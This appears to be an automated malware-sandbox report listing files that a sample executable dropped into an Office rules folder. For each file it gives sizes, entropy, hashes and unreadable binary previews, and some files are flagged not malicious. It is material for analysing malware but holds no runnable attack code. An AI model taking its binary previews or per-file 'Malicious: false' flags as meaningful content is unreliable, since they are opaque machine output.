Preview:	<?xml.5.,..}.B`..^.;.3..~.....`^.(.......It.NMwSl.4..$yG}Shq.g.>.b....M.2z^.&,hS.Z.K.z?..= .i..$......O...\|...:...r.....Wd.j..X.B..\.`..L......P.......d..]..-...{.8L,..L@.H.T.U...f:.m7.....U...p.E...Y...Cz.c..>b..Nh&..."...IfWB.]D....eb..-..)....H.....UJ...[Ik{.'..........T.......%if..y...k'e.y..s..e..:...Lt......G.s..=.sV..Eb.XCh..XU.l....'}e....M.P...d>.[.H..bS.]....B....9\..rot..:...n...............h@...k...2..t@...\...xra.=;.....V...5...U...m".D.j.F6Qv....T.Yjqt..GPb.68&.[.X.-.$n..e....r.5.KlNM/..T.~..=.yY..ADT.W..4..?.L.K+.kzs...3~..../.]..d?.5..F ..#v.....t...:y....x...0......)..I..3...D2........Z.A.>fl.b\|.."Z.q.Ru.K;......v..zo..KW..<..)<H:....._.+.:.?.Z.2..XQ..........2.(....n...e.N...........;.d..U....nf<...K!.?..1.....{.....)T.....WEW.E...M..<.5.....at....U.6...[....=:}.l..)d.f..?..b...k.....5[.....m..19.....t....zj!.P..%...8..EH..;.R.`.A..<.....El..y9.C.1...~.`..e.sR...i..T..iI.KnPG.s......y.lLh.i....*...9H]M..P.,b..6.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938175728366063
Encrypted:	false
SSDEEP:	48:3bi49D4qzWRKvPXhtThRPJPKPq3pGkJwPAl3TfNj4vt3n4w40bps+MXKYefOnAt9:3bT91KR0ht1R9Ki3nl3TfxSt3n9rS+pX
MD5:	868B95EE2445C69F9C518AA918C75933
SHA1:	28D25867B5697B268473B080565C62BA057C7C43
SHA-256:	82EA38D2BB227BEB08765E409FB4270FEDC639E05D034189DEEBB8F041DA1DA3
SHA-512:	984EDF4039CF96DD883B1CF363F27042B1977D2B8B24190DF966EB2BD91FE909391B3B48AF59B0E810F4ECF3904285252C22E79CED6E14B90FFAB691C8233CCC
Malicious:	false
Preview:	<?xml_%..\|..k....b...E..n.7a..............% ...k..}......lU..`_d$.....k.aq....dy 5...uB..vVY......~CZ....f.........a....^.&h2.j.[..5....;..]......c3[Z..n}......7..........>oOl,........a..;x[....]t..?.'.!..%...y-..FM.....b....8D>....ceZ.S...u.....G..<&.....9+...@.8.l.8\|iP.....r .?...%1Q......6...SB......i.#.....oK'..}60..&....k....Li...;.....].....Q.\|..-..p.8W:....8.=......lG&pP..fI.5..'..il....tM....2#B.."...L6.....q.8..{.....p....9.0..p+...,.....a.Sz.o.N../.......e......+.-[Pc.V....q<.0vO....E..2.o%.U.f.P!0..i6h.........R..;z..t.+.@....7...+.o.....]..D,r......}..I....9_...HU..u.x.l..$.V-......0.F`.V.!.....7H$)...W..x.r.=!.._....+..;G.....Y.G.~..5>.P... .......C...?].&Oy..p...@dp....oh...C`..........r....f?g../H.......-.%zj."{F>..~g.....0m.ZFdt.....-.<1...o.m^+.16..y....y.y......4....Z...y,e+.l...1....[&h.ng.e..DKF..s. u6.t.U......trlA....7%....'.+..x.r\.%...OU.;..t....P{.M...7.=i...yY....-...>Ig26.0.;5z...u.C.S.b..gV\|. ..N.a\p.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.721368368357979
Encrypted:	false
SSDEEP:	24:aj3OQgbTdI5KLrejRorvSydjoC/azSS8/2VbD:k3OBbT6vyrOC/Fv+FD
MD5:	D263523999D35BA81F752FAEACE03156
SHA1:	AF1355B45EE0116A4CFAA49778B51550B0C6DC7C
SHA-256:	A4C530DD2D4C477FD29CB30BE4F4B15F4757E2EDAFB8DF2A42098BDD8C7A2BF0
SHA-512:	2738C7C93B8D49CEAE6DDFEEB41C8266DC7B22286B16F8271B740AE99F06E3DE0AC5A1C8EBA70E2334C7F887CF43B20A236654AD61D9891973B98C91597308A2
Malicious:	false
Preview:	<?xmlA.z.........e.sL0...)plC..B=....pM.7h..^...d.]. j..b.....k..\|S..Xs.?....0eq.%....4....~.....O...K....\|,<.........~.e.S....FEq....,g..d;...(..I3..^e.h..@1....K#.l.?...&.Fa......;.g..\W(.y.............I.``AK!....N..]0...`..?.....Vsq:.P/.<u..qa...1ss...T[.C...-.!._.'.,o.L..y!...n......o...S...l5Yv-.bQ.N...c_!J .;(.....z..1....7.fL.......O`..2v.c.7.....h....tt..M....J..]n..\|...\|....Q...`.......O.FCg3.Ia.%.,7q<MU"..L..#..sIH.+Ut].4...M{.U3.8N.....x.7`p.....\+..V.J.kt${......N].j.E......v.L...6.C..}..v....!..Q..d.hi,A.C.$.....B.n..>^....X7y..>Z....A#3xue.....'. ..wR...5..P.Rd.\_...."r.)e...tP^..*N..C..;.......^.0.............6C\../..E...f..d.%H..C.......`z%.D..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9329336840087326
Encrypted:	false
SSDEEP:	48:QECmjhp5JbmwW7Zt/qt5VsygZgB29/Yqfp+O40axNxi0t+EWWpGViFD:51PJ3x5VsZZgB29QqfpN4HxNXJGVi9
MD5:	43AB8DEE854E69BA4B323BD2B4BE1030
SHA1:	C63EDD07D31D3BC93BC5A7560A4BC6C2F92227EE
SHA-256:	A7747310EF3755B80F816A48AFC8615C887FC77BEDD58187C140056C87C572CE
SHA-512:	03C38B023B704316C89EC3B2C277B173A23E456BEEF732B76093636B618E75C9A661E5A50DC0D97B83E191DA2BDAFD21A99C9B09740A867919F941FFCD856CAE
Malicious:	false
Preview:	<?xml.W....+..d.c.zdT.S........&..U.9..J.............1......[....$..F..a...xE.h.^.+...<...k.0{..j0.^.(..b....4.g.!4...c......;.....\|S..E.X........e.1.].,.x@.&..Y)..xE..\|.1...}.m".3_.W#../...T."..B!.u./+!=...f+&..0k..$..y) ......UI........k.....x.X..W.eK..n'>.h..!X..O..."......4.v...5.X.]..kR.[w.g.....!.k..K-t.W]..a.....E;..X4Bx.VQ..C..;Z..`.\|...Z.Y.....p.>J....<{.R...?......_..8r4.m.Y.J.....u....hV....\.P.F5g...1.i...<5.@...?.]7^.:~54...<[..e1.U...B.... p.>0.q.O...B(....1......:..z........-.....8.......Y..2.+.......a4yO...p...h..NU......N!....8....9.EG.@>..d..@.{...G..Z%...(J..M..H.r..y...r.H0i...(.d.k.S.a...o!8~...W......i.5.8.......G...^...-.up\.....x.h(.G.t...z%..~._<..]H.R.....2"x-.7........NY..tM........OT.v..L...w..%p=<.7..C.^..>...%.c..":$#....k...u$.O..!..:.L.+./.y.a.S......#;[c.pX.<w.P.....A.......s.o{{..w..$...LU=.nb.N.........0..w.R.'...fMv.,t..`N..1CHv....<u.'I....D.....[uW.Z......?M......I..L.k2.G.7Gluua.....E..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.702168282012887
Encrypted:	false
SSDEEP:	24:+dSXYiJHLG9j+VCR0rYtr62+vepI9lSWJrsVbD:+E51zCxPq6FD
MD5:	B37AC9AB07B58148AC49FEB87ACD6458
SHA1:	DDDD1F6B63D0F53E5A58555307E3ED3760175ED9
SHA-256:	C3ECE227BB8519E3F148EAF9E065E78636D8CE8386F14209ACD6452A99990CA5
SHA-512:	90D7C24351FFA086B8971A72034CF4707BEC589BE893B86E01845CF76B556653E06808188EA1F02A019FB9DFED59232A545D41936A7265755A07D0DF09A8B673
Malicious:	false
Preview:	<?xml..?..i..+...wm.fW.b@.]"k.6...Jk.F......R.....p"o\+...gk_..L0..;.L:8.bC......wR....F.oN..I...7...4...i.....a2.@ba!.>..%...iS.7.dC.%.9.+c..B...P\|....\...M._..r1......L...........{Y..~2......eL.'.4>u%....Nq.\|.@......9........sN..c.......?~h;..q..5&..]g.O...g.al.".>[..(.._yY..D..1.8Vj.../Z..O.@d+}}..'..4..0.\|.P.d.8.xv..:....s....s,...M...6r...S.[4..+.4....9.~.....V.Q....,.....K%.H.G...o.......!Xmu&.:<~......(.QV....[#.`..<D_x3...2L...P.V..rz..g..0.}jt.Y+.`..!.jS..2...0....>...un.V.Q.c....S..3.>K ..&7w.(.;..m>B.wss.Eb.C.......eS..gp.E.Y...!.8..:@.0...Y.1...R....B.V.C>.i..9.EW..h4$.#D..$.G0.%8.1kJs..\@.c..S.U...O.....E&.....z.W.....o....Y....2bz......\......n.i..U.....6....e.A.x.I.jtG..Z0Z.3.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943132519060308
Encrypted:	false
SSDEEP:	48:NlBgyCZmpb0q+OCVHTjhNWX7+UITiMbbkgmYGGhtwBI/YBH4+DN8NZveZ6vxA4y9:DBgyamdqhf0Ght28u4+QC6Jw9
MD5:	AF2AB6C8DF614A9ABA9E6B0B81C2B3F9
SHA1:	E9CB61B341CAD3ADAEEC17840798A8013A90F688
SHA-256:	907007DA137FE6DFBD56F3988A8E8CCAFF8F6D7724B4041E9C47B94A53A88230
SHA-512:	309E08BB1A8A1AC1E0E2766564FEF762CA6290AD851ED02549061A12A11659E867543CD6B63FCB4BD96D4A13331B127F33556FCAA9B3A9A4CC396D10B300A1F3
Malicious:	false
Preview:	<?xml,..I.L......r...:P$8..T/...L.%e./.(.H.B.....t...?...8...FC.<9.,.....r....h.......:..Ug..?.S.;.Q...(..~.....`..../.........-.m.j..{....IL.Q%....x.t.... D.^../}Np1(...o.se.V..%t.Gp.TLN..V)..7.D..@.BA.)..5....X.....W.G..!..T.;.0.,...#.n.......@>..@Q...K.K4....u.....2.g..,.... ..l..M.lc.........\g+...hI..^...:...J.....6\|.....Qa.g.}..0A.p.z.qP..K.[.X.v+........B...:..1^u..:....l.H...H} E.x... M.GjB...>.BR.v.G.....[.c.....-..(..\.............}.feM..S..^......C2....#tS.....k.y@.`..fV`Xd..........EK..KN+a....+#i....+..J.i.>t6..6Ak.. p..b3..Vz.BVH..-Wu......$6.T&..xj.`....s.{a~W...e..;d..}^...(...'"...s=x.Z%4...:....wT.......N..+s>P.e.ci...Lg..Z.l....7..5..:...,W;..%0...w.B.O....=.O.+..n...E..GI"i...B..e..F.#.r....S.v8..../++...Xy...Xk.8m[...1O."!.fP...{.qZK.3..... ...\|..R:Uhv.....3.Y.GP.I..9.)....U.]V..ml-.......N.K.o..+b...d..,$<...3GX.i6X...z..J%U..!...;.U]A<.4.zk........{....q.'..,....~.F._'=..P.1 .d....)U.cT_.:.......bX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.797745550892378
Encrypted:	false
SSDEEP:	24:0nmRnRbmPjjGs0hE4m82/fHaNhGUqepVbD:n958Gs0Nm6NhqepFD
MD5:	897BC7C63F2A4D12D6CEA3E552F9CF73
SHA1:	EBBBC16729C79A79A486E54D588C801ED840B365
SHA-256:	15283FC24E88892462EC8F3971079B321EB8428DA48A32260BD172060471916B
SHA-512:	3B38DE4505E19CCEADAF27F9FAF57102B2103118C2754C3C63B79FD47D1C07799B75DA09A22F9DC59F2DB1F63B6826178EF054ADC684BC642BE779B1F95F6B52
Malicious:	false
Preview:	<?xml.Ar..K4...@m.p.j...r.U.&...!..E......4.....p.Q..,..}.4.f........9.."..f.1.1[.9..:.=...6..`..."-.F....>..}a...=Ww..h..0...^'&.9ee!.~.........X/N..N".XJLN/q....L...KW. .2..+Q...k)Q..wl...n2d...B@8.bT.5Tt...1.:._X.P.45.'......~..w...Js(.N.....z..:..M..,.....L.)7.....g.u..(..c.c!.....v...fJ.......;{75.........0.W-.}.o.>c...........Xk@..HS....,.l...2@..u.?4..y.9...h.i.u..\|...;....Q.w....#jWX.EM..5.....y.8......g^Zk..H.t'H.....)L....[./9N.....N....AH...J/I......R..t..! .,....Dm.^...G...w.......... g..I...D.n.o.?+sX3.!\|.q.nRb...u..G9G..7.x...%.....T...k.A:+...g...>.$....P...=.....=1S\.w.W.fnm.G.x;R.]Z.....l.rT..]].S..n ...p.......x.z.:6..=t.....a.....w.S\|.?..N@...c.............On9....6..J..../\|....j........W.W..Q.....\K.... ...<C0..?W...nG....eB...G.`.l&....".b.2.M........ubW<.5 ..r~6..(.)...O..&...n.yo..q.1'.x.lD.Z.q.U.....nV...r.L.d>9...vnh<....\|z.Z...;..=\........!..en'..L..Y..i....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8608480011108375
Encrypted:	false
SSDEEP:	24:ghwXvW0iTf06X29LbDTb3qcBRRi05NFR426WUOzP0ssXeMc0ah9vJyiVbD:gh++ZfJ4bDP3qcBC0I26WUO70ssO30+p
MD5:	6B8ADB6FD547CD57044BF42E0096B204
SHA1:	E6BBF322D03095AF930BF74D8F059F9442451717
SHA-256:	7CFBE62610FFDC10217705D08E021A839458367F133E00F89F6A359D0D37986B
SHA-512:	180BAFAA0585008A536B1BC514216F9627373235AFF8BC072A2B75DE5D03AD9E58EFBC921EBB8CB6F9813838B327DC8AA6DBD18212967A931EC4C4773B9B87AE
Malicious:	false
Preview:	<?xml.u..nb.o.....z$.`....S~8....&dD.b.4s.yx?.;..Y...........t.g.E.....#}&0..=4BV9+..^...U.tG..4.'M.[...>n....Z`....G..S_&_. .u.y.!st..rzF....N.j....6]..B3.".U.B.....]..$ ...+.j..M#../'.K......4.!.=kf..[.q....M".'&#].W.(.-/.!o[.\|)W..2..3......pk?<..EE.[.kX..F....M,/.p.........)v;"..&.a.....T)';....r.-.._0.\|..D`.+....`....C.".M...50....'.~.....m.}..!.4F........N..\."....Hdk.B.4..{.y`:...P.=...\|N.....d..._.No.4O?.c2..y..".q.....[.T......]l.'..L`b....V.......:$.....%-.A....!B....9"..NPpOm.-..&H".f.(.....^M].Ui...A..W.A..b..0dS.8a.)wG..5.+W."...w.....L..VS..NG.l....x..{X.Z.[.i. f.8p.^hE"..[z0.x..G..e...!.......j.........\..'.W.... ...?.&.n.b.Ea..W,.$....5..i.E....=..31u...w...-...>..r.R.JV.#.....KEG.c.a.[Cm. ..\..*....f'...g..:....R.K.........mG,.(x/.......\...u^....'.K.d..se...f.E..j....h.=.Ks..t..o.d...D,..../.....a..z._.d.:..:7...n.y..F(.y.{...+Z6.!..!.......!^.B'a..v.1.XB....hm$&......&.....1_........;.....+....1I.R...Q.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.790165309567321
Encrypted:	false
SSDEEP:	24:xBcYMs1l9S6hRCGy/k20QTXG/lMotJ4aDdNVbD:xB1Ms1l9SKwP/iG29Mc4aDdNFD
MD5:	994ACEB2E9C9E16A313EBF3FEA976BA1
SHA1:	B24084DF120DA1E68A9506AF5BF7BD85E5BAD9A5
SHA-256:	7719C2A9769BE4FF0795795F7BB4B651B44D251669CA4953A34696D90C6A144E
SHA-512:	4DDA873052798B6B563A326942CDE2240F64E27278E488C789007352069E4CA5A4AFA4F5CBEAD28577F5EBFBE0FC2DAB1CB17EF5397ADF752598A857EF65ACEF
Malicious:	false
Preview:	<?xmlj...$....(KW\.t.T5..n.4YH=.......Zf...}^.......W.8(..Q+.@.k7.....O..I.=..A.....J...v.WI-.....tF..\....(...w.5..LM.....f...z.3...g..".F0....4..N..gGc........!.....1J8..6..r4U:...i.i.&{e.....,%\|.......#9......`.W (E''%..U'<`.y........8n...r.$}..!...D.....e.a,k.a...L.....2s....SKl..U.......;.U...n.Al....X8..N.>.]r.Q....kgn.A.'.J....Scg.hQ...WB.....Q...l.=..5.a...r.0J..oe.....Pdg;m.R..-.S..p....n@z.....d}...d.....g[H..9.X...I...-....o9.Wr.-.u......V.-:c.`R.....y......R..g....Ho. O...R..._.....-.9I.....(.$4..6.c..=^.X+'.}.!.z..8.`.q...E..Z........fLJq..6Z...p..^.b....hg..Vs.G*.b.V..xD...../... ..XK.X..Q...:..._....^...i~.I...RB"..a..j...W.+m.F...Y.2..i..)a. _....W.1...-,..6.>VVu._]..H..){.....`A<.P.+d.f.........C..,,..>..!j.}NZ+T..P=.J....[..~]...m"..o(E..c..J.B.V.p..`...2&..b.E(.2..h...s.P.V..T.~..q.< ......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.816259703836867
Encrypted:	false
SSDEEP:	24:XVilcCObA8G7ENIbcrU9oVRVJVwooOdVbD:FsP8GINIwrU9aMcFD
MD5:	7CCC374BDFEC2809E71180B7B98CF084
SHA1:	4E6E1F6583F4A7E6F4D66769793DDADF3C72E087
SHA-256:	060E0EB161F524D8B056D3364D15EBDF9C8D3042B1F92C11DAD66CE12E575980
SHA-512:	6D3B9F34E016E110F7190124AE70E5A9A1683FD005B40D921862E4BE0D5E05611FFA7DD5238029E7E538A29378A6A00302D30815FF05AA4492F42FA0C7CD6A39
Malicious:	false
Preview:	<?xml...v...`..P.....aSC6.z......<...(.5.#....Z....M..b..o...b."..:}..;NU./....?. $.eXfLio._.a....TK....,.,&{{.%.O..Z.,...w.J3vKE....\|a..Jc2j/..zR.....l!.o.a,.S..C..r]$.).3.8....z.7.....m.L...&..B.......+%79..M.&.E.[....K.O5...t...P.....C..$..l2.......bu>Ei.f).#.r.~w.7.zvo..{....w\.D.`'......M;..0K.%........I. ...'.v...4C.4.0...tZ.q>..-.2.V..;..c...L....P..wX.....?V/..y^.>...N..t^.W..u......Q."f.!lh^..d.s#Z.....-.q....p(d..m........\........w%..B`_.X...^..... @;yz.:..BOy..(D.U~.<.._....D..<.}B..Q.%.......{.H./]!.:.,I.5...=.j(.?..l...+.....H....^T.s..Lq...x-R.j>Y....D..V.>.Z...Q..:.0....E.\|w...r.............\.9...G$.@..0~ >...!...........C..........esD.`.`R..A.z.%.2V...#m.....<..'8Z...3d..._.#7......U;......6/...0U.O(....R..L...-...M.Q9.k.u.c....?ajG.Iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.826503920998537
Encrypted:	false
SSDEEP:	24:fuHLuIp+3Wi2FTC805VXRQ/z15iPolg1FOr2NVbD:2HLuhmPFTC8+hQ/zY4i0reFD
MD5:	0F4A1DAC8692FE6C08A3C01AF9016125
SHA1:	E33369599B76F4DD9486F3660E42C2B9E5156688
SHA-256:	D440FC715E47AF25742B6A2AB0F95681FDFE1414AB42902CC2DBE06265B3CB27
SHA-512:	E33A6BEC4B0980A64F1FAC5D8DC1F02E527F765F3AA03E62865E1F6A987DF1A05E4F848055E6A06858E9CCC60D8B99AAD7D6F60536BBA8C1473E8F77A3BDF14A
Malicious:	false
Preview:	<?xml..dI;.Dz......LF.w......"n.%.....$...... ..mY...'......:K.E....}.p....../..~....\|.P.S.Z...[.Z.<...%.e.EK...Q.. 0..pd8A...,.OoI.uRC.}..j.w.........P..\|..j"..@w.A..6s.O@s..F.\..5W3IP...]B...{..cL..!.6.".I..gp........=.G....g....$..:...e...($c............f....R.?..N..U8...I....z.....5.b+vJZ.(..o^.I/.,../...pz.x..B..uX.^..=}.b.....T..#_.......-.bZ2......7=.N...<c.1.i.....Yg..f&:.67.rr..d..{.......t.s..I.....i4...../..E.......Kf...m.........\._.q.E&..%I.....=4..=.'..+.O!.[.~E.b.I...../.!.....!.]...........~...tW.s.a.m..L,...3;._.Q,s...[..q...y.7...c....i.o....Q...h%..J.p....q.C6.....5G.Nw(Ld..+.;.Cz..z.8.^}..$U.4.m>......`9...D~.^...W.Q. .v....A..r...Pl.%...$.(..s.a....w..C.N..bn........m.K..Zt.\|.......!..N;....UnBI..-..$~]2..Z.......).....L...=.^.c..[.M.....!..\H..}........_....vF{.q...JDaG.H.e5nSG...V. g9L..b."%.G.j...PE.2d.c-E.w......V.......:.<O.D.Ug...P.{.[.HN>C.&..1..........j....!...O..itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.733937402694572
Encrypted:	false
SSDEEP:	24:Kth6ncCa7HxDF2o2HoXBlDa+BKOvxarSYijtHVbD:KtkcCykLO2jkHFD
MD5:	30A6F3F76A83BE9A38166DA15D8A3801
SHA1:	83A147A214C797799A992A8172D792465FC4D71C
SHA-256:	BFEDFC27F075B8D0CD2BE072B7532ACFB4D293C6E4DF50DC1BD810583577C568
SHA-512:	036D1C6F8E2BC8C3BD4C5C3B2D34D764D80A59D5637DFCC0A7D466BC0D09A0083BA2F1047D7DD5310038980D422819D86527BB6A960CAB6A7DA57152CF080664
Malicious:	false
Preview:	<?xml.d.n3......L...C..?qr.v.h].D........g.r@....N.)@...LA'.m.(._q.....o..Q.e.<....v'L.v....J:r.S~..Lq..-..<.......1...I.4..?.^......J:r....p.....1.HH..pD.we^Eq...N.TTd.n....$....z..JQ.S>..g._...2..L..%<.. 2.;..\..$..Sk....C%eW.0...;#yU4...I...#....$...c..Qb..S.!.....?[.....q...........Z7...Hi..(..m..\|g...e.9?..C...F..W..w.{.DM.\N...PY...5.,.d2y.Dg@..{.~........ns..q]...XB.(.?....Ym*...1...+m?...&..!Fc3.n.P..u..S;........6.....eD..>.#..C.(.~R.F.=.^.a5.A.{%..q....O...X<(.3....8..D\|..K.....S.=a..d....x\.<TZ.Qj%....i....#_..1>..$.W<.+...E.hU.jm...K[./.J.1x@.L..P.{(g5>UN..Wo&9.Miw/.?../E?.k.+fl..;...."...6..x...T.NB.1nP2$P..Ueg.;<.....rB2..;..j....=E@..%...."F'."......e....\|.e..9.v."..hHQu.....@.Ja..%.$-..)i.$.L..\.@Or...&....IP...h.=<..O.d.8......f$>.B..sc..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8768266491023855
Encrypted:	false
SSDEEP:	48:qgylUW3plUpMa6gcnyfOfPwsahtifaITcUMaFD:V2Uwgd6N9ahtiSu2a9
MD5:	CB54BC46505BDAEB8FC514028E619783
SHA1:	9F76B6CC450723E7DA6CE9049FCE150BA6FADCEF
SHA-256:	C67F61FB1E801A9F260144909795B1C51503D7CF0ED5E10D2B262347E17D89BC
SHA-512:	652403053DCE781E654F4DE51D55068163C2E9888F6E186F5CBCEA417942C3DC03C79440ACE3338464CB6EACF1D1F292BF6CB6D69A5E1514A46F6453EBA4F8F2
Malicious:	false
Preview:	.<?.s.M\...B....#.L.....^.@+`x'm..jZ....5.T.t...0.j...V0.;:...G{.....j...z.?c.{F....g....$...<...t.g...,.Ai..N.n.9....y.........G.S2CX...E..&..vR......N8..+s.9..3G7.@u..=k.O..a.p...,..`..u...;.d.gl.........@.}"....35.jn"'..X..1'.i..e.../x..x_...<......h8...\.......^Mb.p..sh...X..yM^..>.g.....`.a.?;5...%Z.]..0.b.k.+g.#AD.._ z%.../.Q"f.#%..5.H..!....[X!Ft=....a.y/I.%..{..P\|.?.<%....;.'?....qm.=...&....A>.P.A.@.-.y.C...4r.....Y....N.......E...5....:...G..~.&.p.a.4..P.w.\....$..(.....<qE....(y..7.~$..9+..a.......W;2..l.a.%.`..z.P...I....r.....>.Z.@.....,.....B.O.]@^. .n..l.aL!.`...X.j..T..^..JPg..1...Z>.l.dZtK..P..O.....$\|..e....w@.VaA.....J.s.........>..v......K.[..mO....JDEf....2..K.!D.._X..\.h.{E.7k..=ACJ.vO.`v....=.e....o..8.l.....8.k5....V...(.+%o..L.........3.9.>y.u...3.s....v.)...O,...D...Tql....L".h.6.F=.:.j.F^k`...<N\|._...V3.!=.......\.4<CQ.}=y%....R.c..bi..Q..,//..R6.0.....5&.,,i...@...........3.>.y..e....S.u...;...Z.q^-"....P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.882952553061651
Encrypted:	false
SSDEEP:	48:lGqDMNK4qW0ScaHocNAvfKZtBeGwS3rvRAwW6FiRFD:NKV1caIw8QveRAvywfiR9
MD5:	D7320D2639A540F7D0A3A5A837544F79
SHA1:	00BD88D2D0D7FC1D2CEDB1D2F32A74F8C69DADA2
SHA-256:	022765C257B1715CD74251A97903AEEAAB0997DDC3B15E02109D4D406FBC340D
SHA-512:	D0D0B504C1FD88B86AD67D3FD693873DA5CAD4E49D1B42FBC638926B1C20BDF94419565508D659EFFB9EBB54C59584EEA9AAAFD98D9A88A8086180FAF89C7AFD
Malicious:	false
Preview:	.<?)...Hr.~q.B...,../..F.._O......r,.....9.......[.b3O.0.....)..).T..M..1+.G_......t!.vBR..5J..d.h4...T....`..T0$..Ub.1B....S.)...........g..h3.o..3w?^.k..8.Z.."..t..P..A..\t%.M.....:.$..9..<..2.4..w.W^......C4+8M...f.....?..\_k.;vZ.7wG.....g.,..8..$;.....\E.\|@(.E..6.....uF6N&iEOYXc.......+.~...m..../t...G.8.>......T......t,.cl..]b./>SFYf.9....m....8.3j........[...N..].....Qc...O.x.........@.L....i,.7.;dZ.C......N...5..>..5.4...H.l.....$.=B.b+....b.A&. ......OK.........f..b.....Q...._.....~...@..b....??..xS.~\|.".%.lX..eT..k{...\.mh.t.'........../.Q+.L..+...'.R+.h....^.A...O............DB...+#{..\|}..<Nd......w.kX...(.f.......9.i...0ce../L..=u!?y...M...z.`.T....J..N....G=.-.#.]...u......4...1.....E...1.}...J#...z.M...]5....<...e..=......\|Z....R.(......1...5....{q....../..v.S{.n..k.V...6.0.rA..6..x....."..)..E0-.........Y........V.`.....H.....dA#P......k.......hV~..I.3y....r\....~..r<.....1...u.k\|].Ij...G.G.[.a........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.854273352911232
Encrypted:	false
SSDEEP:	48:fp5LYlR7l0ag2/WGE8ty/ZzglKfkqD89Md6FD:x5Mb7lXzu38g/ZzQKrY9Md69
MD5:	44CC934A45632E0538468D463D8B8ADF
SHA1:	C9570F3B93DFE6E9A918589C4C97A62F0E38A398
SHA-256:	83500895E59A7E7E3F05B480E021DA9B1F64EE90D727F0D0202FBB73222288B3
SHA-512:	684CEEFB8C7E5B7ACD34E9C203C5194098ECC49A44517DB47F0E0D60F2E13601EB673E6F5794A2249A1913D7571906FF75B6AD6075F84A072C0AEE0226C998CC
Malicious:	false
